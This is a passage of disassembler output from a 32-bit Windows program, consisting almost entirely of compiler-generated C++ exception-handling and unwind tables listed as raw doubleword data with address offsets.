dd 43893Bh, 53h, 438946h, 54h, 438951h, 13h dup(0)
dd offset off_4438B0
dd 0
dd 0FFFFFFFFh, 0
dd 0Ch, 436800h, 2 dup(0)
dd offset off_4438D0
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 436C2Ah, 2 dup(0)
dd offset off_4438F8
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 436C30h, 0
dword_43F068 dd 3, 43F048h, 43F028h, 43F008h, 2 dup(0)dword_43F080 dd 0 ; ___:0040A997o
dd offset dword_436BD4+62h
dd 0
dd offset dword_43F068
dd 2 dup(0)
dword_43F098 dd 19930520h dd 1, 43F0B8h, 5 dup(0)
dd 0FFFFFFFFh, 438A30h, 2 dup(0)
dword_43F0C8 dd 19930520h, 1, 43F0E8h, 5 dup(0) dd 0FFFFFFFFh, 438A50h, 2 dup(0)
dword_43F0F8 dd 19930520h, 3, 43F118h, 5 dup(0) dd 0FFFFFFFFh, 438A70h, 0
dd offset loc_438A87
dd 1, 438A8Fh, 2 dup(0)
dword_43F138 dd 19930520h, 1, 43F158h, 5 dup(0) dd 0FFFFFFFFh, 438AB0h, 2 dup(0)
dword_43F168 dd 19930520h, 2, 43F188h, 1, 43F198h, 3 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 43F1B0h, 4 dup(0)
dd offset sub_40AE52
dd 2 dup(0)
dword_43F1C8 dd 19930520h, 2, 43F1E8h, 1, 43F1F8h, 3 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 43F210h, 4 dup(0)
dd offset loc_40AFD1
dd 2 dup(0)
dword_43F228 dd 19930520h, 4, 43F248h, 5 dup(0) dd 0FFFFFFFFh, 438AF0h, 0
dd offset loc_438AFB
dd 1, 438B06h, 2, 438B11h, 2 dup(0)
dword_43F270 dd 19930520h, 4, 43F290h, 5 dup(0) dd 0FFFFFFFFh, 438B40h, 0
dd offset loc_438B4B
dd 1, 438B56h, 2, 438B61h, 2 dup(0)
dword_43F2B8 dd 19930520h, 3, 43F2D8h, 5 dup(0) dd 0FFFFFFFFh, 438B90h, 0FFFFFFFFh, 438B98h, 0FFFFFFFFh
dd 438BA0h, 2 dup(0)
dword_43F2F8 dd 19930520h, 3, 43F318h, 5 dup(0) dd 0FFFFFFFFh, 438BC0h, 0
dd offset loc_438BC8
dd 1, 438BD0h, 2 dup(0)
dword_43F338 dd 19930520h, 1, 43F358h, 5 dup(0) dd 0FFFFFFFFh, 438BF0h, 2 dup(0)
dword_43F368 dd 19930520h, 4, 43F388h, 5 dup(0) dd 0FFFFFFFFh, 438C10h, 0FFFFFFFFh, 438C18h, 0FFFFFFFFh
dd 438C20h, 2, 438C28h, 2 dup(0)
dword_43F3B0 dd 19930520h, 1, 43F3D0h, 5 dup(0) dd 0FFFFFFFFh, 438C50h, 2 dup(0)
dword_43F3E0 dd 19930520h, 4, 43F400h, 5 dup(0) dd 0FFFFFFFFh, 438C70h, 0
dd offset loc_438C7B
dd 0
dd offset loc_438C86
dd 2, 438C91h, 2 dup(0)
dword_43F428 dd 19930520h, 1, 43F448h, 5 dup(0) dd 0FFFFFFFFh, 438CC0h, 2 dup(0)
dword_43F458 dd 19930520h, 5, 43F478h, 5 dup(0) dd 0FFFFFFFFh, 438CE0h, 0
dd offset loc_438CEB
dd 0
dd offset loc_438CF6
dd 0
dd offset loc_438D01
dd 0
dd offset loc_438D0C
dd 2 dup(0)
dword_43F4A8 dd 19930520h, 2, 43F4C8h, 5 dup(0) dd 0FFFFFFFFh, 438D40h, 0
dd offset loc_438D4B
align 10h
dword_43F4E0 dd 19930520h, 2, 43F500h, 5 dup(0) dd 0FFFFFFFFh, 438D70h, 0
dd offset loc_438D7B
dd 2 dup(0)
dword_43F518 dd 19930520h, 4, 43F538h, 5 dup(0) dd 0FFFFFFFFh, 438DA0h, 0FFFFFFFFh, 438DA8h, 0FFFFFFFFh
dd 438DB0h, 0FFFFFFFFh, 438DB8h, 2 dup(0)
dword_43F560 dd 19930520h, 8, 43F580h, 5 dup(0) dd 0FFFFFFFFh, 438DE0h, 0
dd offset loc_438DEB
dd 1, 438DF6h, 1, 438E01h, 1, 438E0Ch, 1, 438E17h, 1, 438E22h
dd 1, 438E2Dh, 4 dup(0)
dword_43F5D0 dd 19930520h, 0Dh, 43F5F0h, 5 dup(0) dd 0FFFFFFFFh, 438E60h, 0FFFFFFFFh, 438E6Bh, 1, 438E76h
dd 2, 438E81h, 3, 438E8Ch, 4, 438E97h, 5, 438EA2h, 6, 438EADh
dd 7, 438EB8h, 8, 438EC3h, 9, 438ECEh, 0Ah, 438ED9h, 0Bh
dd 438EE4h, 4 dup(0)
dword_43F668 dd 19930520h, 6, 43F688h, 5 dup(0) dd 0FFFFFFFFh, 438F20h, 0
dd offset loc_438F28
dd 1, 438F30h, 2, 438F38h, 2, 438F40h, 2, 438F48h, 2 dup(0)
dword_43F6C0 dd 19930520h, 6, 43F6E0h, 5 dup(0) dd 0FFFFFFFFh, 438F70h, 0
dd offset loc_438F78
dd 1, 438F80h, 2, 438F88h, 2, 438F90h, 2, 438F98h, 2 dup(0)
dword_43F718 dd 19930520h, 3, 43F738h, 5 dup(0) dd 0FFFFFFFFh, 438FC0h, 0
dd offset loc_438FC8
dd 1, 438FD0h, 2 dup(0)
dword_43F758 dd 19930520h, 1, 43F778h, 5 dup(0) dd 0FFFFFFFFh, 438FF0h, 2 dup(0)
dword_43F788 dd 19930520h, 7, 43F7A8h, 5 dup(0) dd 0FFFFFFFFh, 439010h, 0
dd offset loc_439018
dd 0FFFFFFFFh, 439020h, 0FFFFFFFFh, 439028h, 3, 439030h
dd 4, 439038h, 0FFFFFFFFh, 439040h, 2 dup(0)
dword_43F7E8 dd 19930520h, 24h, 43F808h, 5 dup(0) dd 0FFFFFFFFh, 439070h, 0
dd offset loc_439078
dd 1, 439083h, 2, 43908Eh, 3, 439099h, 4, 4390A7h, 5, 4390B5h
dd 6, 4390C3h, 7, 4390D1h, 8, 4390DFh, 9, 4390EDh, 0Ah
dd 4390FBh, 0Bh, 439109h, 0Ch, 439117h, 0Dh, 439125h, 0Eh
dd 439133h, 0Fh, 439141h, 10h, 43914Fh, 11h, 43915Dh, 11h
dd 439165h, 11h, 43916Dh, 11h, 439175h, 11h, 43917Dh, 11h
dd 439185h, 11h, 43918Dh, 11h, 439195h, 11h, 43919Dh, 11h
dd 4391A5h, 11h, 4391ADh, 11h, 4391B5h, 11h, 4391BDh, 11h
dd 4391C5h, 11h, 4391CDh, 11h, 4391D5h, 11h, 4391DDh, 11h
dd 4391E5h, 8 dup(0)
dword_43F948 dd 19930520h, 11h, 43F968h, 5 dup(0) dd 0FFFFFFFFh, 439260h, 0
dd offset loc_439268
dd 1, 439273h, 2, 43927Eh, 3, 439289h, 4, 439297h, 5, 4392A5h
dd 6, 4392B3h, 7, 4392C1h, 8, 4392CFh, 9, 4392DDh, 0Ah
dd 4392EBh, 0Bh, 4392F9h, 0Ch, 439307h, 0Dh, 439315h, 0Eh
dd 439323h, 0Fh, 439331h, 4 dup(0)
dword_43FA00 dd 19930520h, 38h, 43FA20h, 5 dup(0) dd 0FFFFFFFFh, 439390h, 0
dd offset loc_43939B
dd 1, 4393A6h, 0
dd offset loc_4393B1
dd 0
dd offset loc_4393BC
dd 0
dd offset loc_4393C7
dd 0
dd offset loc_4393D2
dd 0
dd offset loc_4393DD
dd 0
dd offset loc_4393E8
dd 0
dd offset loc_4393F3
dd 9, 4393FEh, 0
dd offset loc_439409
dd 0
dd offset loc_439414
dd 0
dd offset loc_43941F
dd 0
dd offset loc_43942A
dd 0Eh, 439435h, 0Eh, 439443h, 0Eh, 439451h, 0Eh, 43945Ch
dd 0Eh, 43946Ah, 0Eh, 439478h, 0Eh, 439483h, 0Eh, 43948Eh
dd 0
dd offset loc_439499
dd 0
dd offset loc_4394A4
dd 0
dd offset loc_4394B2
dd 0
; ---------------------------------------------------------------------------
rcl byte ptr [ebx+eax*2+1A00h], 0
retf
; ---------------------------------------------------------------------------
db 94h, 43h, 0
dd 1Bh, 4394D6h, 0
dd offset loc_4394E1
dd 1Dh, 4394ECh, 0
dd offset loc_4394F7
dd 1Fh, 439502h, 0
dd offset loc_43950D
dd 0
dd offset loc_439518
dd 0
dd offset loc_439523
dd 0
dd offset loc_43952E
dd 0
dd offset loc_439539
dd 25h, 439544h, 26h, 43954Fh, 0
dd offset loc_43954F
dd 28h, 439544h, 0
dd offset loc_43955A
dd 0
dd offset loc_439565
dd 2Bh, 439570h, 2Ch, 43957Bh, 0
dd offset loc_43957B
dd 2Eh, 439570h, 2Eh, 439586h, 0
dd offset loc_439591
dd 31h, 43959Ch, 0
dd offset loc_4395A7
dd 0
dd offset loc_4395B2
dd 34h, 4395BDh, 35h, 4395C8h, 34h, 4395C8h, 0Ch dup(0)
dword_43FC10 dd 19930520h, 1, 43FC30h, 5 dup(0) dd 0FFFFFFFFh, 439670h, 2 dup(0)
dword_43FC40 dd 19930520h, 1, 43FC60h, 5 dup(0) dd 0FFFFFFFFh, 439690h, 2 dup(0)
dword_43FC70 dd 19930520h, 6, 43FC90h, 5 dup(0) dd 0FFFFFFFFh, 4396B0h, 0
dd offset loc_4396B8
dd 1, 4396C3h, 2, 4396CEh, 3, 4396D9h, 4, 4396E4h, 2 dup(0)
dword_43FCC8 dd 19930520h, 6, 43FCE8h, 5 dup(0) dd 0FFFFFFFFh, 439710h, 0
dd offset loc_439718
dd 1, 439723h, 2, 43972Eh, 3, 439739h, 4, 439744h, 2 dup(0)
dword_43FD20 dd 19930520h, 0Ah, 43FD40h, 5 dup(0) dd 0FFFFFFFFh, 439770h, 0FFFFFFFFh, 439778h, 0FFFFFFFFh
dd 439780h, 0FFFFFFFFh, 439788h, 0FFFFFFFFh, 439790h, 0FFFFFFFFh
dd 439798h, 0FFFFFFFFh, 4397A0h, 0FFFFFFFFh, 4397A8h, 0FFFFFFFFh
dd 4397B0h, 0FFFFFFFFh, 4397B8h, 4 dup(0)
dword_43FDA0 dd 19930520h, 0Eh, 43FDC0h, 5 dup(0) dd 0FFFFFFFFh, 4397E0h, 0
dd offset loc_4397E8
dd 0FFFFFFFFh, 4397F3h, 0FFFFFFFFh, 4397FBh, 0FFFFFFFFh
dd 439803h, 0FFFFFFFFh, 43980Bh, 5, 439816h, 0FFFFFFFFh
dd 43981Eh, 0FFFFFFFFh, 439826h, 0FFFFFFFFh, 43982Eh, 9
dd 439839h, 0FFFFFFFFh, 439841h, 0Bh, 439849h, 0Ch, 439851h
dd 4 dup(0)
dword_43FE40 dd 19930520h, 2, 43FE60h, 5 dup(0) dd 0FFFFFFFFh, 439898h, 0
dd offset loc_439890
dd 2 dup(0)
dword_43FE78 dd 19930520h, 2, 43FE98h, 5 dup(0) dd 0FFFFFFFFh, 4398D0h, 0
dd offset loc_4398D8
align 10h
dword_43FEB0 dd 19930520h, 1, 43FED0h, 5 dup(0) dd 0FFFFFFFFh, 4398F0h, 2 dup(0)
dword_43FEE0 dd 19930520h, 7, 43FF00h, 5 dup(0) dd 0FFFFFFFFh, 439910h, 0
dd offset loc_439918
dd 1, 439923h, 2, 43992Eh, 2, 439936h, 4, 43993Eh, 5, 439946h
dd 2 dup(0)
dword_43FF40 dd 19930520h, 4, 43FF60h, 5 dup(0) dd 0FFFFFFFFh, 439970h, 0
dd offset loc_43997B
dd 1, 439986h, 2, 439991h, 2 dup(0)
dword_43FF88 dd 19930520h, 4, 43FFA8h, 5 dup(0) dd 0FFFFFFFFh, 4399C0h, 0
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 99h, 43h, 0
dd 1, 4399D6h, 2, 4399E1h, 2 dup(0)
dword_43FFD0 dd 19930520h, 2, 43FFF0h, 5 dup(0) dd 0FFFFFFFFh, 439A10h, 0FFFFFFFFh, 439A18h, 2 dup(0)
dword_440008 dd 19930520h, 1, 440028h, 5 dup(0) dd 0FFFFFFFFh, 439A30h, 2 dup(0)
dword_440038 dd 19930520h, 1, 440058h, 5 dup(0) dd 0FFFFFFFFh, 439A50h, 2 dup(0)
dword_440068 dd 19930520h, 2, 440088h, 5 dup(0) dd 0FFFFFFFFh, 439A70h, 0
dd offset loc_439A78
align 10h
dword_4400A0 dd 19930520h, 3, 4400C0h, 5 dup(0) dd 0FFFFFFFFh, 439A90h, 0
dd offset loc_439A98
dd 1, 439AA3h, 2 dup(0)
dword_4400E0 dd 19930520h, 3, 440100h, 5 dup(0) dd 0FFFFFFFFh, 439AD0h, 0
dd offset loc_439AD8
dd 1, 439AE0h, 2 dup(0)
dword_440120 dd 19930520h, 1, 440140h, 5 dup(0) dd 0FFFFFFFFh, 439B00h, 2 dup(0)
dword_440150 dd 19930520h, 4, 440170h, 5 dup(0) dd 0FFFFFFFFh, 439B20h, 0
dd offset loc_439B28
dd 0
dd offset loc_439B30
dd 0
dd offset loc_439B3B
dd 2 dup(0)
dword_440198 dd 19930520h, 6, 4401B8h, 5 dup(0) dd 0FFFFFFFFh, 439B60h, 0
dd offset loc_439B68
dd 1, 439B70h, 2, 439B78h, 3, 439B80h, 4, 439B88h, 2 dup(0)
dword_4401F0 dd 19930520h, 3, 440210h, 5 dup(0) dd 0FFFFFFFFh, 439BB0h, 0
dd offset loc_439BBB
dd 1, 439BC6h, 2 dup(0)
dword_440230 dd 19930520h, 4, 440250h, 5 dup(0) dd 0FFFFFFFFh, 439BF0h, 0
dd offset loc_439BF8
dd 1, 439C00h, 2, 439C08h, 2 dup(0)
dword_440278 dd 19930520h, 5, 440298h, 5 dup(0) dd 0FFFFFFFFh, 439C30h, 0
dd offset loc_439C38
dd 1, 439C40h, 2, 439C48h, 3, 439C50h, 2 dup(0)
dword_4402C8 dd 19930520h, 4, 4402E8h, 5 dup(0) dd 0FFFFFFFFh, 439C80h, 0
dd offset loc_439C88
dd 1, 439C93h, 2, 439C9Eh, 2 dup(0)
dword_440310 dd 19930520h, 3, 440330h, 5 dup(0) dd 0FFFFFFFFh, 439CC0h, 0
dd offset loc_439CC8
dd 1, 439CD0h, 2 dup(0)
dword_440350 dd 19930520h, 1, 440370h, 5 dup(0) dd 0FFFFFFFFh, 439CF0h, 2 dup(0)
dword_440380 dd 19930520h, 2, 4403A0h, 5 dup(0) dd 0FFFFFFFFh, 439D10h, 0
dd offset loc_439D18
dd 2 dup(0)
dword_4403B8 dd 19930520h, 2, 4403D8h, 5 dup(0) dd 0FFFFFFFFh, 439D30h, 0
dd offset loc_439D38
align 10h
dword_4403F0 dd 19930520h, 3, 440410h, 5 dup(0) dd 0FFFFFFFFh, 439D50h, 0
dd offset loc_439D5B
dd 1, 439D66h, 2 dup(0)
dword_440430 dd 19930520h, 1, 440450h, 5 dup(0) dd 0FFFFFFFFh, 439D90h, 2 dup(0)
dword_440460 dd 19930520h, 1, 440480h, 5 dup(0) dd 0FFFFFFFFh, 439DB0h, 2 dup(0)
dword_440490 dd 19930520h, 4, 4404B0h, 5 dup(0) dd 0FFFFFFFFh, 439DD0h, 0
dd offset loc_439DD8
dd 1, 439DE3h, 2, 439DEEh, 2 dup(0)
dword_4404D8 dd 19930520h, 7, 4404F8h, 5 dup(0) dd 0FFFFFFFFh, 439E10h, 0FFFFFFFFh, 439E18h, 0FFFFFFFFh
dd 439E20h, 2, 439E28h, 3, 439E30h, 4, 439E38h, 0FFFFFFFFh
dd 439E40h, 2 dup(0)
dword_440538 dd 19930520h, 1Bh, 440558h, 5 dup(0) dd 0FFFFFFFFh, 439E70h, 0
dd offset loc_439E78
dd 1, 439E83h, 2, 439E91h, 3, 439E9Fh, 4, 439EADh, 5, 439EBBh
dd 6, 439EC9h, 7, 439ED7h, 8, 439EE5h, 9, 439EF3h, 0Ah
dd 439F01h, 0Bh, 439F0Fh, 0Ch, 439F1Dh, 0Dh, 439F2Bh, 0Eh
dd 439F39h, 0Fh, 439F47h, 10h, 439F55h, 11h, 439F63h, 12h
dd 439F71h, 13h, 439F7Fh, 14h, 439F8Dh, 15h, 439F9Bh, 16h
dd 439FA9h, 17h, 439FB7h, 18h, 439FC5h, 19h, 439FD3h, 6 dup(0)
dword_440648 dd 19930520h, 1Bh, 440668h, 5 dup(0) dd 0FFFFFFFFh, 43A050h, 0
dd offset loc_43A058
dd 1, 43A063h, 2, 43A071h, 3, 43A07Fh, 4, 43A08Dh, 5, 43A09Bh
dd 6, 43A0A9h, 7, 43A0B7h, 8, 43A0C5h, 9, 43A0D3h, 0Ah
dd 43A0E1h, 0Bh, 43A0EFh, 0Ch, 43A0FDh, 0Dh, 43A10Bh, 0Eh
dd 43A119h, 0Fh, 43A127h, 10h, 43A135h, 11h, 43A143h, 12h
dd 43A151h, 13h, 43A15Fh, 14h, 43A16Dh, 15h, 43A17Bh, 16h
dd 43A189h, 17h, 43A197h, 18h, 43A1A5h, 19h, 43A1B3h, 6 dup(0)
dword_440758 dd 19930520h, 1, 440778h, 5 dup(0) dd 0FFFFFFFFh, 43A230h, 2 dup(0)
dword_440788 dd 19930520h, 3Dh, 4407A8h, 5 dup(0) dd 0FFFFFFFFh, 43A250h, 0
dd offset loc_43A25B
dd 1, 43A266h, 2, 43A274h, 3, 43A282h, 4, 43A290h, 5, 43A29Eh
dd 6, 43A2ACh, 7, 43A2BAh, 8, 43A2C8h, 9, 43A2D6h, 0Ah
dd 43A2E4h, 0Bh, 43A2F2h, 0Ch, 43A300h, 0Dh, 43A30Eh, 0Eh
dd 43A31Ch, 0Fh, 43A32Ah, 10h, 43A338h, 11h, 43A346h, 12h
dd 43A354h, 13h, 43A362h, 14h, 43A370h, 15h, 43A37Eh, 16h
dd 43A38Ch, 17h, 43A39Ah, 18h, 43A3A8h, 19h, 43A3B6h, 1Ah
dd 43A3C4h, 1Bh, 43A3D2h, 1Ch, 43A3E0h, 1Dh, 43A3EEh, 1Eh
dd 43A3FCh, 1Fh, 43A40Ah, 20h, 43A418h, 21h, 43A426h, 22h
dd 43A434h, 23h, 43A442h, 24h, 43A450h, 25h, 43A45Eh, 26h
dd 43A46Ch, 27h, 43A47Ah, 28h, 43A488h, 29h, 43A496h, 2Ah
dd 43A4A4h, 2Bh, 43A4B2h, 2Ch, 43A4C0h, 2Dh, 43A4CEh, 2Eh
dd 43A4DCh, 2Fh, 43A4EAh, 30h, 43A4F8h, 31h, 43A506h, 32h
dd 43A514h, 33h, 43A522h, 34h, 43A530h, 35h, 43A53Eh, 36h
dd 43A54Ch, 37h, 43A55Ah, 38h, 43A568h, 39h, 43A576h, 3Ah
dd 43A584h, 3Bh, 43A592h, 0Eh dup(0)
dword_4409C8 dd 19930520h, 4, 4409E8h, 5 dup(0) dd 0FFFFFFFFh, 43A680h, 0
dd offset loc_43A68B
dd 1, 43A696h, 2, 43A6A1h, 2 dup(0)
dword_440A10 dd 19930520h, 6, 440A30h, 5 dup(0) dd 0FFFFFFFFh, 43A6D0h, 0
dd offset loc_43A6DB
dd 1, 43A6E6h, 2, 43A6F1h, 3, 43A6FFh, 4, 43A70Dh, 2 dup(0)
dword_440A68 dd 19930520h, 4, 440A88h, 5 dup(0) dd 0FFFFFFFFh, 43A740h, 0
dd offset loc_43A74E
dd 1, 43A75Ch, 2, 43A76Ah, 2 dup(0)
dword_440AB0 dd 19930520h, 5, 440AD0h, 5 dup(0) dd 0FFFFFFFFh, 43A7A0h, 0
dd offset loc_43A7AB
dd 1, 43A7B6h, 2, 43A7C1h, 3, 43A7CFh, 2 dup(0)
dword_440B00 dd 19930520h, 5, 440B20h, 5 dup(0) dd 0FFFFFFFFh, 43A800h, 0
dd offset loc_43A80B
dd 1, 43A816h, 2, 43A821h, 3, 43A82Fh, 2 dup(0)
dword_440B50 dd 19930520h, 1, 440B70h, 5 dup(0) dd 0FFFFFFFFh, 43A860h, 2 dup(0)
dword_440B80 dd 19930520h, 1, 440BA0h, 5 dup(0) dd 0FFFFFFFFh, 43A880h, 2 dup(0)
dword_440BB0 dd 19930520h, 1, 440BD0h, 5 dup(0) dd 0FFFFFFFFh, 43A8A0h, 2 dup(0)
dword_440BE0 dd 19930520h, 2, 440C00h, 5 dup(0) dd 0FFFFFFFFh, 43A8C0h, 0
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0A8h, 43h, 0
dd 2 dup(0)
dword_440C18 dd 19930520h, 4, 440C38h, 5 dup(0) dd 0FFFFFFFFh, 43A8F0h, 0
dd offset loc_43A8FB
dd 1, 43A906h, 2, 43A911h, 2 dup(0)
dword_440C60 dd 19930520h, 4, 440C80h, 5 dup(0) dd 0FFFFFFFFh, 43A940h, 0
dd offset loc_43A94B
dd 1, 43A956h, 2, 43A961h, 2 dup(0)
dword_440CA8 dd 19930520h, 6, 440CC8h, 5 dup(0) dd 0FFFFFFFFh, 43A990h, 0
dd offset loc_43A99B
dd 1, 43A9A6h, 2, 43A9B1h, 3, 43A9BFh, 4, 43A9CDh, 2 dup(0)
dword_440D00 dd 19930520h, 4, 440D20h, 5 dup(0) dd 0FFFFFFFFh, 43AA00h, 0
dd offset loc_43AA0E
dd 1, 43AA1Ch, 2, 43AA2Ah, 2 dup(0)
dword_440D48 dd 19930520h, 5, 440D68h, 5 dup(0) dd 0FFFFFFFFh, 43AA60h, 0
dd offset loc_43AA6B
dd 1, 43AA76h, 2, 43AA81h, 3, 43AA8Fh, 2 dup(0)
dword_440D98 dd 19930520h, 5, 440DB8h, 5 dup(0) dd 0FFFFFFFFh, 43AAC0h, 0
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0AAh, 43h, 0
dd 1, 43AAD6h, 2, 43AAE1h, 3, 43AAEFh, 2 dup(0)
dword_440DE8 dd 19930520h, 1, 440E08h, 5 dup(0) dd 0FFFFFFFFh, 43AB20h, 2 dup(0)
dword_440E18 dd 19930520h, 1, 440E38h, 5 dup(0) dd 0FFFFFFFFh, 43AB40h, 2 dup(0)
dword_440E48 dd 19930520h, 1, 440E68h, 5 dup(0) dd 0FFFFFFFFh, 43AB60h, 2 dup(0)
dword_440E78 dd 19930520h, 2, 440E98h, 5 dup(0) dd 0FFFFFFFFh, 43AB80h, 0
dd offset loc_43AB8B
align 10h
dword_440EB0 dd 19930520h, 4, 440ED0h, 5 dup(0) dd 0FFFFFFFFh, 43ABB0h, 0
dd offset loc_43ABBB
dd 1, 43ABC6h, 2, 43ABD1h, 2 dup(0)
dword_440EF8 dd 19930520h, 1, 440F18h, 5 dup(0) dd 0FFFFFFFFh, 43AC00h, 2 dup(0)
dword_440F28 dd 19930520h, 2, 440F48h, 5 dup(0) dd 0FFFFFFFFh, 43AC20h, 0
dd offset loc_43AC2B
align 10h
dword_440F60 dd 19930520h, 1, 440F80h, 5 dup(0) dd 0FFFFFFFFh, 43AC50h, 2 dup(0)
dword_440F90 dd 19930520h, 1, 440FB0h, 5 dup(0) dd 0FFFFFFFFh, 43AC70h, 2 dup(0)
dword_440FC0 dd 19930520h, 2, 440FE0h, 5 dup(0) dd 0FFFFFFFFh, 43AC90h, 0
dd offset loc_43AC9B
dd 2 dup(0)
dword_440FF8 dd 19930520h, 1, 441018h, 5 dup(0) dd 0FFFFFFFFh, 43ACC0h, 2 dup(0)
dword_441028 dd 19930520h, 3, 441048h, 5 dup(0) dd 0FFFFFFFFh, 43ACE0h, 0
dd offset loc_43ACF7
dd 1, 43ACFFh, 2 dup(0)
dword_441068 dd 19930520h, 1, 441088h, 5 dup(0) dd 0FFFFFFFFh, 43AD20h, 2 dup(0)
dword_441098 dd 19930520h, 4, 4410B8h, 5 dup(0) dd 0FFFFFFFFh, 43AD48h, 0
dd offset sub_43AD40
dd 0
dd offset loc_43AD5F
dd 2, 43AD67h, 2 dup(0)
dword_4410E0 dd 19930520h, 6, 441100h, 5 dup(0) dd 0FFFFFFFFh, 43AD90h, 0FFFFFFFFh, 43AD98h, 0FFFFFFFFh
dd 43ADA0h, 0FFFFFFFFh, 43ADA8h, 0FFFFFFFFh, 43ADB0h, 0FFFFFFFFh
dd 43ADB8h, 2 dup(0)
dword_441138 dd 19930520h, 1Ah, 441158h, 5 dup(0) dd 0FFFFFFFFh, 43ADE0h, 0
dd offset loc_43ADEB
dd 1, 43ADF6h, 2, 43AE01h, 3, 43AE0Ch, 4, 43AE17h, 5, 43AE1Fh
dd 5, 43AE2Ah, 5, 43AE35h, 5, 43AE43h, 5, 43AE4Eh, 5, 43AE59h
dd 5, 43AE67h, 5, 43AE72h, 5, 43AE7Dh, 5, 43AE88h, 5, 43AE96h
dd 5, 43AEA1h, 5, 43AEACh, 5, 43AEBAh, 5, 43AEC5h, 5, 43AED0h
dd 5, 43AEDEh, 5, 43AEE9h, 5, 43AEF4h, 5, 43AEFFh, 6 dup(0)
dword_441240 dd 19930520h, 4, 441260h, 5 dup(0) dd 0FFFFFFFFh, 43AF70h, 0
dd offset loc_43AF78
dd 1, 43AF83h, 2, 43AF8Eh, 2 dup(0)
dword_441288 dd 19930520h, 4, 4412A8h, 5 dup(0) dd 0FFFFFFFFh, 43AFB0h, 0
dd offset loc_43AFB8
dd 1, 43AFC3h, 2, 43AFCEh, 2 dup(0)
dword_4412D0 dd 19930520h, 6, 4412F0h, 5 dup(0) dd 0FFFFFFFFh, 43AFF0h, 0
dd offset loc_43AFF8
dd 1, 43B003h, 2, 43B00Eh, 3, 43B019h, 4, 43B024h, 2 dup(0)
dword_441328 dd 19930520h, 6, 441348h, 5 dup(0) dd 0FFFFFFFFh, 43B050h, 0
dd offset loc_43B058
dd 1, 43B063h, 2, 43B06Eh, 3, 43B079h, 4, 43B084h, 2 dup(0)
dword_441380 dd 19930520h, 6, 4413A0h, 5 dup(0) dd 0FFFFFFFFh, 43B0B0h, 0FFFFFFFFh, 43B0BBh, 0FFFFFFFFh
dd 43B0C6h, 2, 43B0D1h, 3, 43B0DCh, 2, 43B0E7h, 2 dup(0)
dword_4413D8 dd 19930520h, 3, 4413F8h, 5 dup(0) dd 0FFFFFFFFh, 43B110h, 0FFFFFFFFh, 43B118h, 0FFFFFFFFh
dd 43B120h, 2 dup(0)
dword_441418 dd 19930520h, 5, 441438h, 5 dup(0) dd 0FFFFFFFFh, 43B140h, 0FFFFFFFFh, 43B148h, 0FFFFFFFFh
dd 43B150h, 0FFFFFFFFh, 43B158h, 0FFFFFFFFh, 43B160h, 2 dup(0)
dword_441468 dd 19930520h, 0Ch, 441488h, 5 dup(0) dd 0FFFFFFFFh, 43B180h, 0
dd offset loc_43B188
dd 0FFFFFFFFh, 43B190h, 0FFFFFFFFh, 43B198h, 0FFFFFFFFh
dd 43B1A0h, 0FFFFFFFFh, 43B1A8h, 5, 43B1B0h, 0FFFFFFFFh
dd 43B1B8h, 0FFFFFFFFh, 43B1C0h, 0FFFFFFFFh, 43B1C8h, 0FFFFFFFFh
dd 43B1D0h, 0FFFFFFFFh, 43B1D8h, 4 dup(0)
dword_4414F8 dd 19930520h, 2, 441518h, 1, 441528h, 3 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 441540h, 4 dup(0)
dd offset loc_41EE2C
dd 2 dup(0)
dword_441558 dd 19930520h, 0Ah, 441578h, 5 dup(0) dd 0FFFFFFFFh, 43B220h, 0
dd offset loc_43B22B
dd 1, 43B236h, 2, 43B241h, 3, 43B24Ch, 3, 43B257h, 3, 43B262h
dd 3, 43B26Dh, 3, 43B278h, 3, 43B283h, 4 dup(0)
dword_4415D8 dd 19930520h, 2, 4415F8h, 5 dup(0) dd 0FFFFFFFFh, 43B2C0h, 0
dd offset loc_43B2C8
align 10h
dword_441610 dd 19930520h, 3, 441630h, 5 dup(0) dd 0FFFFFFFFh, 43B2E0h, 0FFFFFFFFh, 43B2EBh, 1, 43B2F6h
dd 2 dup(0)
dword_441650 dd 19930520h, 1, 441670h, 5 dup(0) dd 0FFFFFFFFh, 43B320h, 2 dup(0)
dword_441680 dd 19930520h, 2, 4416A0h, 5 dup(0) dd 0FFFFFFFFh, 43B340h, 0
dd offset loc_43B34B
dd 2 dup(0)
dword_4416B8 dd 19930520h, 16h, 4416D8h, 5 dup(0) dd 0FFFFFFFFh, 43B370h, 0
dd offset loc_43B37B
dd 0
dd offset loc_43B383
dd 0
dd offset loc_43B38B
dd 3, 43B393h, 4, 43B39Bh, 0
dd offset loc_43B3A3
dd 6, 43B3ABh, 7, 43B3B3h, 0
dd offset loc_43B3BB
dd 9, 43B3C3h, 0Ah, 43B3CBh, 0
dd offset loc_43B3D3
dd 0Ch, 43B3DBh, 0Dh, 43B3E3h, 0
dd offset loc_43B3EB
dd 0Fh, 43B3F3h, 0
dd offset loc_43B3FB
dd 11h, 43B403h, 0
dd offset loc_43B40B
dd 13h, 43B413h, 13h, 43B41Bh, 6 dup(0)
dword_4417A0 dd 19930520h, 1, 4417C0h, 5 dup(0) dd 0FFFFFFFFh, 43B460h, 2 dup(0)
dword_4417D0 dd 19930520h, 1, 4417F0h, 5 dup(0) dd 0FFFFFFFFh, 43B490h, 2 dup(0)
dword_441800 dd 19930520h, 5, 441820h, 5 dup(0) dd 0FFFFFFFFh, 43B4C0h, 0FFFFFFFFh, 43B4C8h, 0FFFFFFFFh
dd 43B4D0h, 0FFFFFFFFh, 43B4D8h, 0FFFFFFFFh, 43B4E0h, 2 dup(0)
dword_441850 dd 19930520h, 0Bh, 441870h, 5 dup(0) dd 0FFFFFFFFh, 43B500h, 0FFFFFFFFh, 43B50Bh, 0FFFFFFFFh
dd 43B521h, 0FFFFFFFFh, 43B52Ch, 0FFFFFFFFh, 43B537h, 0FFFFFFFFh
dd 43B542h, 0FFFFFFFFh, 43B54Dh, 0FFFFFFFFh, 43B558h, 0FFFFFFFFh
